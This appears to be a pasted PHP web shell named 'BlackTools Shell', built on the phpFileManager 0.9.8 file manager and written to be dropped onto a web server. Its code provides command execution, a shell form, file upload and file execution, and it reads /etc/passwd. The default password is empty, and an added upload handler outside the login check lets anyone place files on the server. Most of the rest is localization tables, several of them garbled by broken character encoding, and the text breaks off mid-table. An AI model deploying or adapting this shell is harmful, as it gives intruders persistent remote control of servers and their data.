· 8 years ago · Mar 27, 2018, 01:08 PM
1<?php
2//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e9800998ecf8427e";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";i:1;s:7:"fm_root";s:0:"";s:17:"cookie_cache_time";i:2592000;s:7:"version";s:5:"0.9.8";}
3/*--------------------------------------------------
4 | BlackTools Shell
5 +--------------------------------------------------
6 | phpFileManager 0.9.8
7 | By Fabricio Seger Kolling
8 | Copyright (c) 2004-2013 FabrÃcio Seger Kolling
9 | Last Changed: 2013-10-15
10 +--------------------------------------------------
11 | OPEN SOURCE CONTRIBUTIONS
12 +--------------------------------------------------
13 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
14 | By Devin Doucettef
15 | URL: http://www.phpclasses.org
16 +--------------------------------------------------
17 | It is the AUTHOR'S REQUEST that you keep intact the above header information
18 | and notify him if you conceive any BUGFIXES or IMPROVEMENTS to this program.
19 +--------------------------------------------------
20 | LICENSE
21 +--------------------------------------------------
22 | Licensed under the terms of any of the following licenses at your choice:
23 | - GNU General Public License Version 2 or later (the "GPL");
24 | - GNU Lesser General Public License Version 2.1 or later (the "LGPL");
25 | - Mozilla Public License Version 1.1 or later (the "MPL").
26 | You are not required to, but if you want to explicitly declare the license
27 | you have chosen to be bound to when using, reproducing, modifying and
28 | distributing this software, just include a text file titled "LEGAL" in your version
29 | of this software, indicating your license choice. In any case, your choice will not
30 | restrict any recipient of your version of this software to use, reproduce, modify
31 | and distribute this software under any of the above licenses.
32 +--------------------------------------------------
33 | CONFIGURATION AND INSTALATION NOTES
34 +--------------------------------------------------
35 | This program does not include any instalation or configuration
36 | notes because it simply does not require them.
37 | Just throw this file anywhere in your webserver and enjoy !!
38 +--------------------------------------------------
39*/
40// +--------------------------------------------------
41// | Header and Globals
42// +--------------------------------------------------
43 $charset = "UTF-8";
44 //@setlocale(LC_CTYPE, 'C');
45 header("Pragma: no-cache");
46 header("Cache-Control: no-store");
47 header("Content-Type: text/html; charset=".$charset);
48 //@ini_set('default_charset', $charset);
49 if (@get_magic_quotes_gpc()) {
50 function stripslashes_deep($value){
51 return is_array($value)? array_map('stripslashes_deep', $value):$value;
52 }
53 $_POST = array_map('stripslashes_deep', $_POST);
54 $_GET = array_map('stripslashes_deep', $_GET);
55 $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
56 }
57 // Server Vars
58 function get_client_ip() {
59 $ipaddress = '';
60 if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
61 else if($_SERVER['HTTP_X_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
62 else if($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
63 else if($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
64 else if($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED'];
65 else if($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
66 // proxy transparente não esconde o IP local, colocando ele após o IP da rede, separado por vÃrgula
67 if (strpos($ipaddress, ',') !== false) {
68 $ips = explode(',', $ipaddress);
69 $ipaddress = trim($ips[0]);
70 }
71 if ($ipaddress == '::1') $ipaddress = '';
72 return $ipaddress;
73 }
74 $ip = get_client_ip();
75 $islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
76 function getServerURL() {
77 $url = ($_SERVER["HTTPS"] == "on")?"https://":"http://";
78 $url .= $_SERVER["SERVER_NAME"]; // $_SERVER["HTTP_HOST"] is equivalent
79 if ($_SERVER["SERVER_PORT"] != "80") $url .= ":".$_SERVER["SERVER_PORT"];
80 return $url;
81 }
82 function getCompleteURL() {
83 return getServerURL().$_SERVER["REQUEST_URI"];
84 }
85 $url = getCompleteURL();
86 $url_info = parse_url($url);
87 if( !isset($_SERVER['DOCUMENT_ROOT']) ) {
88 if ( isset($_SERVER['SCRIPT_FILENAME']) ) $path = $_SERVER['SCRIPT_FILENAME'];
89 elseif ( isset($_SERVER['PATH_TRANSLATED']) ) $path = str_replace('\\\\', '\\', $_SERVER['PATH_TRANSLATED']);
90 $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])));
91 }
92 $doc_root = str_replace('//','/',str_replace(DIRECTORY_SEPARATOR,'/',$_SERVER["DOCUMENT_ROOT"]));
93 $fm_self = $doc_root.$_SERVER["PHP_SELF"];
94 $path_info = pathinfo($fm_self);
95 // Register Globals
96 $blockKeys = array('_SERVER','_SESSION','_GET','_POST','_COOKIE','charset','ip','islinux','url','url_info','doc_root','fm_self','path_info');
97 foreach ($_GET as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
98 foreach ($_POST as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
99 foreach ($_COOKIE as $key => $val) if (array_search($key,$blockKeys) === false) $$key=$val;
100// +--------------------------------------------------
101// | Config
102// +--------------------------------------------------
103 $cfg = new config();
104 $cfg->load();
105 switch ($error_reporting){
106 case 0: error_reporting(0); @ini_set("display_errors",0); break;
107 case 1: error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR); @ini_set("display_errors",1); break;
108 case 2: error_reporting(E_ALL); @ini_set("display_errors",1); break;
109 }
110 if (!isset($current_dir)){
111 $current_dir = $path_info["dirname"]."/";
112 if (!$islinux) $current_dir = ucfirst($current_dir);
113 //@chmod($current_dir,0755);
114 } else $current_dir = format_path($current_dir);
115 // Auto Expand Local Path
116 if (!isset($expanded_dir_list)){
117 $expanded_dir_list = "";
118 $mat = explode("/",$path_info["dirname"]);
119 for ($x=0;$x<count($mat);$x++) $expanded_dir_list .= ":".$mat[$x];
120 setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");
121 }
122 if (!isset($fm_current_root)){
123 if (strlen($fm_root)) $fm_current_root = $fm_root;
124 else {
125 if (!$islinux) $fm_current_root = ucfirst($path_info["dirname"]."/");
126 else $fm_current_root = $doc_root."/";
127 }
128 setcookie("fm_current_root", $fm_current_root, 0, "/");
129 } elseif (isset($set_fm_current_root)) {
130 if (!$islinux) $fm_current_root = ucfirst($set_fm_current_root);
131 setcookie("fm_current_root", $fm_current_root, 0, "/");
132 }
133 if (!isset($resolveIDs)){
134 setcookie("resolveIDs", 0, time()+$cookie_cache_time, "/");
135 } elseif (isset($set_resolveIDs)){
136 $resolveIDs=($resolveIDs)?0:1;
137 setcookie("resolveIDs", $resolveIDs, time()+$cookie_cache_time, "/");
138 }
139 if ($resolveIDs){
140 exec("cat /etc/passwd",$mat_passwd);
141 exec("cat /etc/group",$mat_group);
142 }
143 $fm_color['Bg'] = "e6e6e6";
144 $fm_color['Text'] = "000000";
145 $fm_color['Link'] = "0A77F7";
146 $fm_color['Entry'] = "FFFFFF";
147 $fm_color['Over'] = "C0EBFD";
148 $fm_color['Mark'] = "A7D2E4";
149 foreach($fm_color as $tag=>$color){
150 $fm_color[$tag]=strtolower($color);
151 }
152// +--------------------------------------------------
153// | File Manager Actions
154// +--------------------------------------------------
155if ($loggedon==$auth_pass){
156 switch ($frame){
157 case 1: break; // Empty Frame
158 case 2: frame2(); break;
159 case 3: frame3(); break;
160 default:
161 switch($action){
162 case 1: logout(); break;
163 case 2: config_form(); break;
164 case 3: download(); break;
165 case 4: view(); break;
166 case 5: server_info(); break;
167 case 6: execute_cmd(); break;
168 case 7: edit_file_form(); break;
169 case 8: chmod_form(); break;
170 case 9: shell_form(); break;
171 case 10: upload_form(); break;
172 case 11: execute_file(); break;
173 default: frameset();
174 }
175 }
176} else {
177 if (isset($pass)) login();
178 else login_form();
179}
180// +--------------------------------------------------
181// | Config Class
182// +--------------------------------------------------
183class config {
184 var $data;
185 var $filename;
186 function config(){
187 global $fm_self;
188 $this->data = array(
189 'lang'=>'en',
190 'auth_pass'=>md5(''),
191 'quota_mb'=>0,
192 'upload_ext_filter'=>array(),
193 'download_ext_filter'=>array(),
194 'error_reporting'=>1,
195 'fm_root'=>'',
196 'cookie_cache_time'=>60*60*24*30, // 30 Days
197 'version'=>'0.9.8'
198 );
199 $data = false;
200 $this->filename = $fm_self;
201 if (file_exists($this->filename)){
202 $mat = file($this->filename);
203 $objdata = trim(substr($mat[1],2));
204 if (strlen($objdata)) $data = unserialize($objdata);
205 }
206 if (is_array($data)&&count($data)==count($this->data)) $this->data = $data;
207 else $this->save();
208 }
209 function save(){
210 $objdata = "<?php".chr(13).chr(10)."//".serialize($this->data).chr(13).chr(10);
211 if (strlen($objdata)){
212 if (file_exists($this->filename)){
213 $mat = file($this->filename);
214 if ($fh = @fopen($this->filename, "w")){
215 @fputs($fh,$objdata,strlen($objdata));
216 for ($x=2;$x<count($mat);$x++) @fputs($fh,$mat[$x],strlen($mat[$x]));
217 @fclose($fh);
218 }
219 }
220 }
221 }
222 function load(){
223 foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
224 }
225}
226if(isset($_GET['up']) && !empty($_GET['up'])){
227 echo"".$_FILES['userfile']."";
228 $uploaddir = './';
229 $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
230 if ( isset($_FILES["userfile"]) ) {
231 echo 'uploaded';
232 if (move_uploaded_file
233 ($_FILES["userfile"]["tmp_name"], $uploadfile))
234 echo $uploadfile;
235 else echo 'failed';
236}
237exit;
238}
239// +--------------------------------------------------
240// | Internationalization
241// +--------------------------------------------------
242function et($tag){
243 global $lang;
244
245 // English - by Fabricio Seger Kolling
246 $en['Version'] = 'Version';
247 $en['DocRoot'] = 'Document Root';
248 $en['FLRoot'] = 'File Manager Root';
249 $en['Name'] = 'Name';
250 $en['And'] = 'and';
251 $en['Enter'] = 'Enter';
252 $en['Send'] = 'Send';
253 $en['Refresh'] = 'Refresh';
254 $en['SaveConfig'] = 'Save Configurations';
255 $en['SavePass'] = 'Save Password';
256 $en['SaveFile'] = 'Save File';
257 $en['Save'] = 'Save';
258 $en['Leave'] = 'Leave';
259 $en['Edit'] = 'Edit';
260 $en['View'] = 'View';
261 $en['Config'] = 'Config';
262 $en['Ren'] = 'Rename';
263 $en['Rem'] = 'Delete';
264 $en['Compress'] = 'Compress';
265 $en['Decompress'] = 'Decompress';
266 $en['ResolveIDs'] = 'Resolve IDs';
267 $en['Move'] = 'Move';
268 $en['Copy'] = 'Copy';
269 $en['ServerInfo'] = 'Server Info';
270 $en['CreateDir'] = 'Create Directory';
271 $en['CreateArq'] = 'Create File';
272 $en['ExecCmd'] = 'Execute Command';
273 $en['Upload'] = 'Upload';
274 $en['UploadEnd'] = 'Upload Finished';
275 $en['Perm'] = 'Perm';
276 $en['Perms'] = 'Permissions';
277 $en['Owner'] = 'Owner';
278 $en['Group'] = 'Group';
279 $en['Other'] = 'Other';
280 $en['Size'] = 'Size';
281 $en['Date'] = 'Date';
282 $en['Type'] = 'Type';
283 $en['Free'] = 'free';
284 $en['Shell'] = 'Shell';
285 $en['Read'] = 'Read';
286 $en['Write'] = 'Write';
287 $en['Exec'] = 'Execute';
288 $en['Apply'] = 'Apply';
289 $en['StickyBit'] = 'Sticky Bit';
290 $en['Pass'] = 'Password';
291 $en['Lang'] = 'Language';
292 $en['File'] = 'File';
293 $en['File_s'] = 'file(s)';
294 $en['Dir_s'] = 'directory(s)';
295 $en['To'] = 'to';
296 $en['Destination'] = 'Destination';
297 $en['Configurations'] = 'Configurations';
298 $en['JSError'] = 'JavaScript Error';
299 $en['NoSel'] = 'There are no selected itens';
300 $en['SelDir'] = 'Select the destination directory on the left tree';
301 $en['TypeDir'] = 'Enter the directory name';
302 $en['TypeArq'] = 'Enter the file name';
303 $en['TypeCmd'] = 'Enter the command';
304 $en['TypeArqComp'] = 'Enter the file name.\\nThe extension will define the compression type.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
305 $en['RemSel'] = 'DELETE selected itens';
306 $en['NoDestDir'] = 'There is no selected destination directory';
307 $en['DestEqOrig'] = 'Origin and destination directories are equal';
308 $en['InvalidDest'] = 'Destination directory is invalid';
309 $en['NoNewPerm'] = 'New permission not set';
310 $en['CopyTo'] = 'COPY to';
311 $en['MoveTo'] = 'MOVE to';
312 $en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
313 $en['ConfExec'] = 'Confirm EXECUTE';
314 $en['ConfRem'] = 'Confirm DELETE';
315 $en['EmptyDir'] = 'Empty directory';
316 $en['IOError'] = 'I/O Error';
317 $en['FileMan'] = 'BlackTools Shell';
318 $en['TypePass'] = 'Enter the password';
319 $en['InvPass'] = 'Invalid Password';
320 $en['ReadDenied'] = 'Read Access Denied';
321 $en['FileNotFound'] = 'File not found';
322 $en['AutoClose'] = 'Close on Complete';
323 $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
324 $en['NoCmd'] = 'Error: Command not informed';
325 $en['ConfTrySave'] = 'File without write permisson.\\nTry to save anyway';
326 $en['ConfSaved'] = 'Configurations saved';
327 $en['PassSaved'] = 'Password saved';
328 $en['FileDirExists'] = 'File or directory already exists';
329 $en['NoPhpinfo'] = 'Function phpinfo disabled';
330 $en['NoReturn'] = 'no return';
331 $en['FileSent'] = 'File sent';
332 $en['SpaceLimReached'] = 'Space limit reached';
333 $en['InvExt'] = 'Invalid extension';
334 $en['FileNoOverw'] = 'File could not be overwritten';
335 $en['FileOverw'] = 'File overwritten';
336 $en['FileIgnored'] = 'File ignored';
337 $en['ChkVer'] = 'Check for new version';
338 $en['ChkVerAvailable'] = 'New version, click here to begin download!!';
339 $en['ChkVerNotAvailable'] = 'No new version available. :(';
340 $en['ChkVerError'] = 'Connection Error.';
341 $en['Website'] = 'Website';
342 $en['SendingForm'] = 'Sending files, please wait';
343 $en['NoFileSel'] = 'No file selected';
344 $en['SelAll'] = 'All';
345 $en['SelNone'] = 'None';
346 $en['SelInverse'] = 'Inverse';
347 $en['Selected_s'] = 'selected';
348 $en['Total'] = 'total';
349 $en['Partition'] = 'Partition';
350 $en['RenderTime'] = 'Time to render this page';
351 $en['Seconds'] = 'sec';
352 $en['ErrorReport'] = 'Error Reporting';
353
354 // Portuguese by - Fabricio Seger Kolling
355 $pt['Version'] = 'Versão';
356 $pt['DocRoot'] = 'Document Root';
357 $pt['FLRoot'] = 'File Manager Root';
358 $pt['Name'] = 'Nome';
359 $pt['And'] = 'e';
360 $pt['Enter'] = 'Entrar';
361 $pt['Send'] = 'Enviar';
362 $pt['Refresh'] = 'Atualizar';
363 $pt['SaveConfig'] = 'Salvar Configurações';
364 $pt['SavePass'] = 'Salvar Senha';
365 $pt['SaveFile'] = 'Salvar Arquivo';
366 $pt['Save'] = 'Salvar';
367 $pt['Leave'] = 'Sair';
368 $pt['Edit'] = 'Editar';
369 $pt['View'] = 'Visualizar';
370 $pt['Config'] = 'Config';
371 $pt['Ren'] = 'Renomear';
372 $pt['Rem'] = 'Apagar';
373 $pt['Compress'] = 'Compactar';
374 $pt['Decompress'] = 'Descompactar';
375 $pt['ResolveIDs'] = 'Resolver IDs';
376 $pt['Move'] = 'Mover';
377 $pt['Copy'] = 'Copiar';
378 $pt['ServerInfo'] = 'Server Info';
379 $pt['CreateDir'] = 'Criar Diretório';
380 $pt['CreateArq'] = 'Criar Arquivo';
381 $pt['ExecCmd'] = 'Executar Comando';
382 $pt['Upload'] = 'Upload';
383 $pt['UploadEnd'] = 'Upload Terminado';
384 $pt['Perm'] = 'Perm';
385 $pt['Perms'] = 'Permissões';
386 $pt['Owner'] = 'Dono';
387 $pt['Group'] = 'Grupo';
388 $pt['Other'] = 'Outros';
389 $pt['Size'] = 'Tamanho';
390 $pt['Date'] = 'Data';
391 $pt['Type'] = 'Tipo';
392 $pt['Free'] = 'livre';
393 $pt['Shell'] = 'Shell';
394 $pt['Read'] = 'Ler';
395 $pt['Write'] = 'Escrever';
396 $pt['Exec'] = 'Executar';
397 $pt['Apply'] = 'Aplicar';
398 $pt['StickyBit'] = 'Sticky Bit';
399 $pt['Pass'] = 'Senha';
400 $pt['Lang'] = 'Idioma';
401 $pt['File'] = 'Arquivo';
402 $pt['File_s'] = 'arquivo(s)';
403 $pt['Dir_s'] = 'diretorio(s)';
404 $pt['To'] = 'para';
405 $pt['Destination'] = 'Destino';
406 $pt['Configurations'] = 'Configurações';
407 $pt['JSError'] = 'Erro de JavaScript';
408 $pt['NoSel'] = 'Não há itens selecionados';
409 $pt['SelDir'] = 'Selecione o diretório de destino na árvore a esquerda';
410 $pt['TypeDir'] = 'Digite o nome do diretório';
411 $pt['TypeArq'] = 'Digite o nome do arquivo';
412 $pt['TypeCmd'] = 'Digite o commando';
413 $pt['TypeArqComp'] = 'Digite o nome do arquivo.\\nA extensão determina o tipo de compactação.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
414 $pt['RemSel'] = 'APAGAR itens selecionados';
415 $pt['NoDestDir'] = 'Não há um diretório de destino selecionado';
416 $pt['DestEqOrig'] = 'Diretório de origem e destino iguais';
417 $pt['InvalidDest'] = 'Diretório de destino inválido';
418 $pt['NoNewPerm'] = 'Nova permissão não foi setada';
419 $pt['CopyTo'] = 'COPIAR para';
420 $pt['MoveTo'] = 'MOVER para';
421 $pt['AlterPermTo'] = 'ALTERAR PERMISSÕES para';
422 $pt['ConfExec'] = 'Confirma EXECUTAR';
423 $pt['ConfRem'] = 'Confirma APAGAR';
424 $pt['EmptyDir'] = 'Diretório vazio';
425 $pt['IOError'] = 'Erro de E/S';
426 $pt['FileMan'] = 'BlackTools Shell';
427 $pt['TypePass'] = 'Digite a senha';
428 $pt['InvPass'] = 'Senha Inválida';
429 $pt['ReadDenied'] = 'Acesso de leitura negado';
430 $pt['FileNotFound'] = 'Arquivo não encontrado';
431 $pt['AutoClose'] = 'Fechar Automaticamente';
432 $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT';
433 $pt['NoCmd'] = 'Erro: Comando não informado';
434 $pt['ConfTrySave'] = 'Arquivo sem permissão de escrita.\\nTentar salvar assim mesmo';
435 $pt['ConfSaved'] = 'Configurações salvas';
436 $pt['PassSaved'] = 'Senha salva';
437 $pt['FileDirExists'] = 'Arquivo ou diretório já existe';
438 $pt['NoPhpinfo'] = 'Função phpinfo desabilitada';
439 $pt['NoReturn'] = 'sem retorno';
440 $pt['FileSent'] = 'Arquivo enviado';
441 $pt['SpaceLimReached'] = 'Limite de espaço alcançado';
442 $pt['InvExt'] = 'Extensão inválida';
443 $pt['FileNoOverw'] = 'Arquivo não pode ser sobreescrito';
444 $pt['FileOverw'] = 'Arquivo sobreescrito';
445 $pt['FileIgnored'] = 'Arquivo omitido';
446 $pt['ChkVer'] = 'Verificar por nova versão';
447 $pt['ChkVerAvailable'] = 'Nova versão, clique aqui para iniciar download!!';
448 $pt['ChkVerNotAvailable'] = 'Não há nova versão disponÃvel. :(';
449 $pt['ChkVerError'] = 'Erro de conexão.';
450 $pt['Website'] = 'Website';
451 $pt['SendingForm'] = 'Enviando arquivos, aguarde';
452 $pt['NoFileSel'] = 'Nenhum arquivo selecionado';
453 $pt['SelAll'] = 'Tudo';
454 $pt['SelNone'] = 'Nada';
455 $pt['SelInverse'] = 'Inverso';
456 $pt['Selected_s'] = 'selecionado(s)';
457 $pt['Total'] = 'total';
458 $pt['Partition'] = 'Partição';
459 $pt['RenderTime'] = 'Tempo para gerar esta página';
460 $pt['Seconds'] = 'seg';
461 $pt['ErrorReport'] = 'Error Reporting';
462
463 // Spanish - by Sh Studios
464 $es['Version'] = 'Versión';
465 $es['DocRoot'] = 'Raiz del programa';
466 $es['FLRoot'] = 'Raiz del administrador de archivos';
467 $es['Name'] = 'Nombre';
468 $es['And'] = 'y';
469 $es['Enter'] = 'Enter';
470 $es['Send'] = 'Enviar';
471 $es['Refresh'] = 'Refrescar';
472 $es['SaveConfig'] = 'Guardar configuraciones';
473 $es['SavePass'] = 'Cuardar Contraseña';
474 $es['SaveFile'] = 'Guardar Archivo';
475 $es['Save'] = 'Guardar';
476 $es['Leave'] = 'Salir';
477 $es['Edit'] = 'Editar';
478 $es['View'] = 'Mirar';
479 $es['Config'] = 'Config.';
480 $es['Ren'] = 'Renombrar';
481 $es['Rem'] = 'Borrar';
482 $es['Compress'] = 'Comprimir';
483 $es['Decompress'] = 'Decomprimir';
484 $es['ResolveIDs'] = 'Resolver IDs';
485 $es['Move'] = 'Mover';
486 $es['Copy'] = 'Copiar';
487 $es['ServerInfo'] = 'Info del Server';
488 $es['CreateDir'] = 'Crear Directorio';
489 $es['CreateArq'] = 'Crear Archivo';
490 $es['ExecCmd'] = 'Ejecutar Comando';
491 $es['Upload'] = 'Subir';
492 $es['UploadEnd'] = 'Subida exitosa';
493 $es['Perm'] = 'Perm';
494 $es['Perms'] = 'Permisiones';
495 $es['Owner'] = 'Propietario';
496 $es['Group'] = 'Grupo';
497 $es['Other'] = 'Otro';
498 $es['Size'] = 'Tamaño';
499 $es['Date'] = 'Fecha';
500 $es['Type'] = 'Tipo';
501 $es['Free'] = 'libre';
502 $es['Shell'] = 'Ejecutar';
503 $es['Read'] = 'Leer';
504 $es['Write'] = 'Escribir';
505 $es['Exec'] = 'Ejecutar';
506 $es['Apply'] = 'Aplicar';
507 $es['StickyBit'] = 'Sticky Bit';
508 $es['Pass'] = 'Contraseña';
509 $es['Lang'] = 'Lenguage';
510 $es['File'] = 'Archivos';
511 $es['File_s'] = 'archivo(s)';
512 $es['Dir_s'] = 'directorio(s)';
513 $es['To'] = 'a';
514 $es['Destination'] = 'Destino';
515 $es['Configurations'] = 'Configuracion';
516 $es['JSError'] = 'Error de JavaScript';
517 $es['NoSel'] = 'No hay items seleccionados';
518 $es['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho';
519 $es['TypeDir'] = 'Escriba el nombre del directorio';
520 $es['TypeArq'] = 'Escriba el nombre del archivo';
521 $es['TypeCmd'] = 'Escriba el comando';
522 $es['TypeArqComp'] = 'Escriba el nombre del directorio.\\nLa extension definira el tipo de compresion.\\nEj:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
523 $es['RemSel'] = 'BORRAR items seleccionados';
524 $es['NoDestDir'] = 'No se ha seleccionado el directorio de destino';
525 $es['DestEqOrig'] = 'El origen y el destino son iguales';
526 $es['InvalidDest'] = 'El destino del directorio es invalido';
527 $es['NoNewPerm'] = 'Las permisiones no se pudieron establecer';
528 $es['CopyTo'] = 'COPIAR a';
529 $es['MoveTo'] = 'MOVER a';
530 $es['AlterPermTo'] = 'CAMBIAR PERMISIONES a';
531 $es['ConfExec'] = 'Confirmar EJECUCION';
532 $es['ConfRem'] = 'Confirmar BORRADO';
533 $es['EmptyDir'] = 'Directorio Vacio';
534 $es['IOError'] = 'Error I/O';
535 $es['FileMan'] = 'BlackTools Shell';
536 $es['TypePass'] = 'Escriba la contraseña';
537 $es['InvPass'] = 'Contraseña invalida';
538 $es['ReadDenied'] = 'Acceso de lectura denegado';
539 $es['FileNotFound'] = 'Archivo no encontrado';
540 $es['AutoClose'] = 'Cerrar al completar';
541 $es['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT';
542 $es['NoCmd'] = 'Error: No se ha escrito ningun comando';
543 $es['ConfTrySave'] = 'Archivo sin permisos de escritura.\\nIntente guardar en otro lugar';
544 $es['ConfSaved'] = 'Configuracion Guardada';
545 $es['PassSaved'] = 'Contraseña guardada';
546 $es['FileDirExists'] = 'Archivo o directorio ya existente';
547 $es['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada';
548 $es['NoReturn'] = 'sin retorno';
549 $es['FileSent'] = 'Archivo enviado';
550 $es['SpaceLimReached'] = 'Limite de espacio en disco alcanzado';
551 $es['InvExt'] = 'Extension inalida';
552 $es['FileNoOverw'] = 'El archivo no pudo ser sobreescrito';
553 $es['FileOverw'] = 'Archivo sobreescrito';
554 $es['FileIgnored'] = 'Archivo ignorado';
555 $es['ChkVer'] = 'Chequear las actualizaciones';
556 $es['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!';
557 $es['ChkVerNotAvailable'] = 'Su version es la mas reciente.';
558 $es['ChkVerError'] = 'Error de coneccion.';
559 $es['Website'] = 'Sitio Web';
560 $es['SendingForm'] = 'Enviando archivos, espere!';
561 $es['NoFileSel'] = 'Ningun archivo seleccionado';
562 $es['SelAll'] = 'Todos';
563 $es['SelNone'] = 'Ninguno';
564 $es['SelInverse'] = 'Inverso';
565 $es['Selected_s'] = 'seleccionado';
566 $es['Total'] = 'total';
567 $es['Partition'] = 'Particion';
568 $es['RenderTime'] = 'Generado en';
569 $es['Seconds'] = 'seg';
570 $es['ErrorReport'] = 'Reporte de error';
571
572 // Korean - by Airplanez
573 $kr['Version'] = 'ë²„ì „';
574 $kr['DocRoot'] = '웹서버 루트';
575 $kr['FLRoot'] = 'íŒŒì¼ ë§¤ë‹ˆì € 루트';
576 $kr['Name'] = 'ì´ë¦„';
577 $kr['Enter'] = 'ìž…ë ¥';
578 $kr['Send'] = 'ì „ì†¡';
579 $kr['Refresh'] = 'ìƒˆë¡œê³ ì¹¨';
580 $kr['SaveConfig'] = '환경 ì €ìž¥';
581 $kr['SavePass'] = '비밀번호 ì €ìž¥';
582 $kr['SaveFile'] = 'íŒŒì¼ ì €ìž¥';
583 $kr['Save'] = 'ì €ìž¥';
584 $kr['Leave'] = '나가기';
585 $kr['Edit'] = 'ìˆ˜ì •';
586 $kr['View'] = '보기';
587 $kr['Config'] = '환경';
588 $kr['Ren'] = 'ì´ë¦„바꾸기';
589 $kr['Rem'] = 'ì‚ì œ';
590 $kr['Compress'] = '압축하기';
591 $kr['Decompress'] = '압축풀기';
592 $kr['ResolveIDs'] = 'ì†Œìœ ìž';
593 $kr['Move'] = 'ì´ë™';
594 $kr['Copy'] = '복사';
595 $kr['ServerInfo'] = '서버 ì •ë³´';
596 $kr['CreateDir'] = 'ë””ë ‰í† ë¦¬ ìƒì„±';
597 $kr['CreateArq'] = 'íŒŒì¼ ìƒì„±';
598 $kr['ExecCmd'] = 'ëª…ë ¹ 실행';
599 $kr['Upload'] = '업로드';
600 $kr['UploadEnd'] = '업로드가 완료ë˜ì—ˆìŠµë‹ˆë‹¤.';
601 $kr['Perm'] = '권한';
602 $kr['Perms'] = '권한';
603 $kr['Owner'] = 'ì†Œìœ ìž';
604 $kr['Group'] = '그룹';
605 $kr['Other'] = 'ëª¨ë“ ì‚¬ìš©ìž';
606 $kr['Size'] = 'í¬ê¸°';
607 $kr['Date'] = 'ë‚ ì§œ';
608 $kr['Type'] = '종류';
609 $kr['Free'] = 'ì—¬ìœ ';
610 $kr['Shell'] = '쉘';
611 $kr['Read'] = 'ì½ê¸°';
612 $kr['Write'] = '쓰기';
613 $kr['Exec'] = '실행';
614 $kr['Apply'] = 'ì ìš©';
615 $kr['StickyBit'] = '스티키 비트';
616 $kr['Pass'] = '비밀번호';
617 $kr['Lang'] = '언어';
618 $kr['File'] = '파ì¼';
619 $kr['File_s'] = '파ì¼';
620 $kr['To'] = '으로';
621 $kr['Destination'] = '대ìƒ';
622 $kr['Configurations'] = '환경';
623 $kr['JSError'] = 'ìžë°”스í¬ë¦½íЏ 오류';
624 $kr['NoSel'] = 'ì„ íƒëœ ê²ƒì´ ì—†ìŠµë‹ˆë‹¤';
625 $kr['SelDir'] = '왼쪽리스트ì—서 ëŒ€ìƒ ë””ë ‰í† ë¦¬ë¥¼ ì„ íƒí•˜ì„¸ìš”';
626 $kr['TypeDir'] = 'ë””ë ‰í† ë¦¬ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”';
627 $kr['TypeArq'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”';
628 $kr['TypeCmd'] = 'ëª…ë ¹ì„ ìž…ë ¥í•˜ì„¸ìš”';
629 $kr['TypeArqComp'] = '파ì¼ëª…ì„ ìž…ë ¥í•˜ì„¸ìš”.\\n확장ìžì— ë”°ë¼ ì••ì¶•í˜•ì‹ì´ ì •í•´ì§‘ë‹ˆë‹¤.\\n예:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip';
630 $kr['RemSel'] = 'ì„ íƒëœ ê²ƒì„ ì‚ì œí–ˆìŠµë‹ˆë‹¤';
631 $kr['NoDestDir'] = 'ì„ íƒëœ ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 없습니다.';
632 $kr['DestEqOrig'] = 'ì›ëž˜ ë””ë ‰í† ë¦¬ì™€ ëŒ€ìƒ ë””ë ‰í† ë¦¬ê°€ 같습니다';
633 $kr['NoNewPerm'] = '새로운 ê¶Œí•œì´ ì„¤ì •ë˜ì§€ 않았습니다';
634 $kr['CopyTo'] = 'ì—¬ê¸°ì— ë³µì‚¬';
635 $kr['MoveTo'] = '여기로 ì´ë™';
636 $kr['AlterPermTo'] = '으로 권한변경';
637 $kr['ConfExec'] = '실행 확ì¸';
638 $kr['ConfRem'] = 'ì‚ì œ 확ì¸';
639 $kr['EmptyDir'] = '빈 ë””ë ‰í† ë¦¬';
640 $kr['IOError'] = 'ìž…/ì¶œë ¥ 오류';
641 $kr['FileMan'] = 'PHP íŒŒì¼ ë§¤ë‹ˆì €';
642 $kr['TypePass'] = '비밀번호를 ìž…ë ¥í•˜ì„¸ìš”';
643 $kr['InvPass'] = '비밀번호가 틀립니다';
644 $kr['ReadDenied'] = 'ì½ê¸°ê°€ ê±°ë¶€ë˜ì—ˆìŠµë‹ˆë‹¤';
645 $kr['FileNotFound'] = '파ì¼ì´ 없습니다';
646 $kr['AutoClose'] = '완료후 닫기';
